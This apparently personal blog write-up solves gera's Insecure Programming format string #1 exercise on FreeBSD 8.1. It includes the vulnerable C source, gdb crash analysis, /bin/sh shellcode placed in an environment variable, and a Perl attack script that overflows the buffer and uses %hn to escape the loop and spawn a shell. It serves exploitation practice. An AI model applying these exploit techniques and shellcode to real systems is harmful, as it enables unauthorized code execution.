Gera's Insecure Programming Format String #1



A well-known set of vulnerable programs to practice exploitation can be found at gera’s insecure programming. I will go through several challenges over the coming weeks. Ideally, I want to complete them all. Let’s see how far I can go. In this post I will go over how to solve format string #1 (fs1.c).

fs1.c is posted below for reference.

fs1.c

/* specially crafted to feed your brain by gera */
/* Don't forget,                                *
 * more is less,                                *
 * here's a proof                               */
	int main(int argv,char **argc) {
		short int zero=0;
		int *plen=(int*)malloc(sizeof(int));
		char buf[256];

		strcpy(buf,argc[1]);
		printf("%s%hn\n",buf,plen);
		while(zero);
	}

The source code shows a potential vulnerability at first glance: the strcpy(buf, argc[1]). This suggests the program can be exploited by the vanilla buffer overflow. The environment I used to solve this exercise was FreeBSD 8.1-RELEASE because it is still possible to perform basic exploitation on it. I changed renamed fs1.c to insecure_1.c.

> uname -ris
FreeBSD 8.1-RELEASE GENERIC
> gcc -o insecure_1 insecure_1.c
> ./insecure_1 "Doomsday"
Doomsday
> ./insecure_1 `perl -e 'print "A"x50000'`
AAAAAAAAAAA
...snip...
AAAAAAA
Segmentation fault (core dumped)
> gdb -q insecure_1 insecure_1.core
...snip...
#0  0x2816e949 in open () from /lib/libc.so.7
(gdb) x/i $eip
0x2816e949 <open+11965>:<span> </span>mov    %dx,(%eax)
(gdb) x/x $eax
0x41414141:<span> </span>Cannot access memory at address 0x41414141
(gdb) x/x $edx
0xc350:<span> </span>Cannot access memory at address 0xc350
(gdb) quit

In open(), it is trying to write 0xc350 (5000 in decimal) to memory location 0x41414141. The value 0xc350 is the length of the command-line argument passed to the program. The expected memory address to be used in open() was the address plen pointed too. Since buf, plen, zero are on the stack they will be overwritten. The offset was quickly found using Metasploit’s pattern_create.rb at 258.

> ./insecure_1 `perl -e 'print "A"x258 ."\$\$\$\$CCCC"'`
Segmentation fault (core dumped)
> gdb -q insecure_1 insecure_1.core
...snip...
#0  0x2816e949 in open () from /lib/libc.so.7
(gdb) x/x $eax
0x24242424:	Cannot access memory at address 0x24242424

One issue presented themselves what address to substitute in open(). After looking at fs1.c again, the while loop appears to be another problem in getting a shell. When I overwrote the buffer, I filled zero and plen with 0x41. Let’s take a step back to grammar programming school. In a while loop, any expression that evaluates a value other than 0 (zero) is true and the while loop will never end. Therefore, a value of 0 (zero) has to be written to the variable zero to continue the execution of the program. I have rewritten the insecure_1.c source to include one printf to find the location of zero and to view its contents.

/*
 *	 insecure_1.c
 */

int main(int argc, char **argv){
     short int zero = 0;
     int *plen=(int*)malloc(sizeof(int));
     char buf[256];

     strcpy(buf, argv[1]);
     printf("%s%hn\n", buf, plen);
     printf("plen @ 0x%x zero @ 0x%x value %x\n", plen, &zero, zero);
     while(zero);
}
> ./insecure_1 `perl -e 'print "A"x258 ."\$\$\$\$CCCC"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�뿿CCCC
plen @ 0x24242424 zero @ 0xbfbee88a value 4141

The zero address ( 0xbfbee88a ) will substitute the \(\) thus allowing the %hn to write to the zero address. If two bytes are being written, a string length of 65536 bytes, will cause an integer overflow and write a value of zero to 0xbfbee88a .

> ./insecure_1 `perl -e 'print "A"x258 ."\x8a\xe8\xbe\xbf"."A"x65274'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
..snip..
AAAAAAAAAAAA
plen @ 0xbfbee88a zero @ 0xbfbee88a value 0
Segmentation fault (core dumped)
> !gdb
gdb insecure_1 insecure_1.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x0804852b in main ()
(gdb) x/i $eip 
0x804852b :	ret    
(gdb) x/x $esp
0x4141413d:	Cannot access memory at address 0x4141413d
(gdb) quit

An issue is that the most significant byte (MSB) is 0x3d. After some investigating, the MSB was was being reduced by 4. So if I supplied 0x24242424, it will changed to 0x24242420. I do not know why this happens and any insight would be appreciated. The program is ready to be busticated. The second part of the string after the zero address will be filled with the address of my shellcode. I stored my shellcode in my environmental variable (I used tcsh, if you have not noticed):

> setenv SHELLCODE `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x\x68\x68\x2f\x62\x69\x6e\x89\xe1\x50\x54\x51\xb0\x3b\x50\xcd\x80"'`

I obtained the address of the env variable from a program named “getenv” in “Hacking the Art of Exploitation”. I created a perl program to weaponize the exploit.

#!/bin/perl -w
#attack.pl
use strict;

my $first = "A"x258;
my $zero = "\x8a\xe8\xbe\xbf";

my $shellcode = "\x6f\xef\xbf\xbf"x16318;

system( ("./insecure_1", $first.$zero.$shellcode."\x90\x90"));

The extra two ‘\x90’ bytes is to have the total length of the attack string be 65536. Yet another issue presented itself.

> perl attack.pl
AAAAAAAAAAAAAAAAAA
..snip..
�o���o���o���o���o���o���o���o���o���o���o���o���o���o���o���o�
plen @ 0xbfbee88a zero @ 0xbfbee88a value 0
>

It should have dropped me into a shell. However, insecure_1 silently dropped a core dump instead.

> !gdb
gdb insecure_1 insecure_1.core
GNU gdb 6.1.1 [FreeBSD]
...snip...
Loaded symbols for /libexec/ld-elf.so.1
#0  0x3d45444f in ?? ()
(gdb) x/x $esp
0xbfbfef6f:	0x6850c031
(gdb)  quit

The address 0x3d45444f looks like ASCII character. The individual bytes represent ‘=’, ‘E’, ‘D’, ‘O’ respectively. Once again another problem (it does not stop) occurred, the shellcode was being loaded. In Freebsd 8.1, the insecure_1 disassembly revealed why this was happening.

08048490 <main>:
...snip...
 8048516:       0f b7 45 f2             movzwl 0xfffffff2(%ebp),%eax
 804851a:       66 85 c0                test   %ax,%ax
 804851d:       75 f7                   jne    8048516 
 804851f:       81 c4 20 01 00 00       add    $0x120,%esp
 8048525:       59                      pop    %ecx
 8048526:       5b                      pop    %ebx
 8048527:       5d                      pop    %ebp
 8048528:       8d 61 fc                lea    0xfffffffc(%ecx),%esp
 804852b:       c3                      ret    
 804852c:       90                      nop    

The culprit was the LEA instruction. A quick solution was to add in one more layer of indirection. In the beginning of the environmental variable value, I added an address that points directly to my shellcode. An illustration of the attack string and environmental variable is shown below:

The layout of the attack string looks like: [AAAA][zero address][address to env variable value]

The layout of the environmental variable: SHELLCODE =[address to shellcode][shellcode]

After some minor calculations to relocate the address to the shellcode and the zero address, the exploit is ready. The final revised exploit is shown below:

The new SHELLCODE environmental variable now looks like:

> setenv SHELLCODE `perl -e 'print "\x6f\xef\xbf\xbf\x31\xc0\x50\x68\x2f\x2f\x\x68\x68\x2f\x62\x69\x6e\x89\xe1\x50\x54\x51\xb0\x3b\x50\xcd\x80"'`
#!/bin/perl -w
#attack.pl
use strict;

my $first = "A"x258;
my $zero = "\x9a\xeb\xbe\xbf";

my $shellcode = "\x6f\xef\xbf\xbf"x16318;

system( ("./insecure_1", $first.$zero.$shellcode."\x90\x90"));
> perl attack.pl
AAA
..snip..
�o���o���o�����
plen @ 0xbfbeeb9a zero @ 0xbfbeeb9a value 0
$ 

If you notice the address 0xbfbfef6f being repeated in the environmental variable and the attack string:

The address 0xbfbfef6f is being reduced by 4 when it is supplied as the attack string. So basically it will be 0xbfbfef6b and 0xbfbfef6b points to 0xbfbfef6f (which is the address of the shellcode).

That’s how you busticate a program.